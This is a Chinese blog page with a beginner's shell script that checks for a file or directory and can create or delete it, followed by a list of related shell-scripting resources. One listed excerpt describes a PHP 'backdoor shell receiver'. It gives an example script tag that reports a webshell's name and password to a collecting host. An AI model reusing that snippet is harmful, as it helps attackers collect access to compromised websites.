`
jiangzhoubai
  • 浏览: 58763 次
  • 性别: Icon_minigender_1
  • 来自: 太原
社区版块
存档分类
最新评论

my first shell script

阅读更多

 

#!/bin/sh

#判断文件和文件夹是否存在

type=$1

name=$2

isCreate=$3

isDelete=$4

if [ "$type" = "0" ]; 

then

if [ -f $name ]; 

then

        echo "file存在" 

if [ $isDelete = "true" ]; 

                then

                        rm $name

                fi

else

        echo "file不存在"

if [ $isCreate = "true" ]; 

                then

                        touch $name

                fi

fi

elif [ "$type" = "1" ]; 

then

if [ -d $name ]; 

        then

                echo "dir存在"

if [ $isDelete = "true" ]; 

then

rmdir $name

fi  

        else

                echo "dir不存在"

if [ $isCreate = "true" ];

                then

                        mkdir $name

                fi

        fi

fi

0
1
分享到:
评论

相关推荐

    shellscript-practice

    "shellscript-practice"这个项目显然旨在提供一个实践平台,帮助用户通过实际操作来提升Shell脚本编写技能。 Shell脚本的基本元素包括变量、条件语句、循环结构、函数、输入/输出重定向以及命令行参数。以下是对...

    shell脚本编程学习笔记汇总

    # this is my first script echo 'hello world' ``` 注意,`#!/bin/bash` 是 shebang 行,指定了脚本的解释器。 三、权限 shell 脚本有两种常见的权限:权限为 755 的脚本,每个人都可以执行;而权限为 700 的脚本...

    后门Shell接收程序

    朋友要的,php所写,没用数据库。 在脚本木马中插入一段JS就可以接收他木马地址与密码。 ... 举个调用事例 <script src="http://site/image.php?p=moyo&m=my first shell"></script> 需要的人应该明白怎么用的

    linux_Shell_Script

    在这个名为"linux_Shell_Script"的资料中,我们可以深入学习到Shell脚本的基础知识和高级特性。 首先,Shell脚本的基础始于了解不同的Shell类型,如Bash(Bourne-Again SHell)是最常用的,默认存在于大多数现代...

    shell1学习资料shell1学习资料

    echo "First argument: $1" echo "Second argument: $2" ``` 四、重定向和管道 1. 重定向:`>`用于输出重定向,将命令的标准输出写入文件,如`echo "Hello" > output.txt`。`>>`用于追加模式。 2. 管道:`|`用于...

    shell 编程基础

    Shell脚本可以接收命令行参数,这些参数以$0(脚本名)、$1、$2...$n的形式访问,例如`echo "First argument is: $1"`。 四、文件和目录操作 1. `cd`:改变当前工作目录。 2. `pwd`:显示当前工作目录。 3. `touch`...

    shell cheat sheet

    - **Shell Name**: `$SHELL` returns the name of the shell that is currently executing the script. - **Language**: `$LANG` specifies the language settings for the environment. Setting it to `C` uses ...

    Linux Shell编程(基础教程

    # This script prints out "Hello, World!" echo "Hello, World!" ``` 在这个示例中,第二行是注释,用于描述脚本的功能。 **最佳实践**:在脚本中使用注释来解释关键步骤或逻辑,特别是对于复杂的脚本来说更是...

    Shell脚本定义变量和重新赋值

    my Var = "Hello, World!" # 这样写会引发错误 ``` #### 二、变量命名规则 在定义Shell脚本中的变量时,还需要遵循一些特定的命名规则: 1. **变量名的首个字符**:必须是字母(a-z 或 A-Z)。 2. **变量名中不能...

    shebang-everything:您的非官方shell脚本指南,如果可以帮助您,请给此仓库一个:white_medium_star::)

    echo " My First Script! " 要运行它: $ chmod 755 script.sh $ ./script.sh 舍邦 脚本以#开头! 重击之路 #通常称为“尖锐和” ! 叫一声,故名急剧放量,但一般人说这家当,而不是尖锐的爆炸。 评论 注释以#号...

    精彩编程与编程技巧-应用 WSH 读写注册表和建立快捷方式...

    - 例如:`WSH_shell.RegWrite "HKLM\Software\DreamSoft\", "first"`,其中`HKLM`表示`HKEY_LOCAL_MACHINE`,即本地计算机键;`"first"`是写入的值。 - **注意事项**:修改注册表前需谨慎考虑,因为不当操作可能会...

    高级Bash脚本编程指南

    trap 'echo "Script interrupted." ; exit 1' INT # 当接收到SIGINT(Ctrl+C)时,输出提示并优雅退出 ``` 13. **位置参数**:脚本可以接收命令行参数,通过 `$1`, `$2`, ... 访问。`$0`是脚本本身的名字。例如...

    Linux自动删除n天前日志及实例命令

    # My first script ls -l ./* ``` d) 给脚本添加执行权限: ```bash chmod 755 my_script ``` e) 执行脚本: ```bash ./my_script ``` 通过以上方法,你可以有效地管理Linux系统中的日志文件,避免因...

    github-actions:试用github动作

    name: My First Workflow on: [push] jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v2 - name: Run Shell script run: | echo "Hello, GitHub Actions!" ``` ...

    torque_rm:用于 Ruby 的 TORQUE 资源管理器。 直接从 Ruby 提交、检查和控制您的工作

    扭矩_rm 配置示例: TORQUE.qcommands_path='/usr/bin'TORQUE.server = "my_grid.remote.net"job = TORQUE::Qsub.new m: "abe", name:"FirstTest", shell: '/bin/bash', ppn: 4job.script = "echo `hostname`;...

    Object- Oriented Programming with Ansi-C

    system containing a single shell script to create all the sources arranged by chapter. There is a ReadMe file — consult it before you say make. It is also quite instructive to use a program like diff...

    js使用小技巧

    <a href="#first">anchors 网页传递参数 location.search(); 可编辑 obj.contenteditable=true 执行菜单命令 obj.execCommand 双字节字符 /[^x00-xff]/ 汉字 /[u4e00-u9fa5]/ 让英文字符串超出表格...

Global site tag (gtag.js) - Google Analytics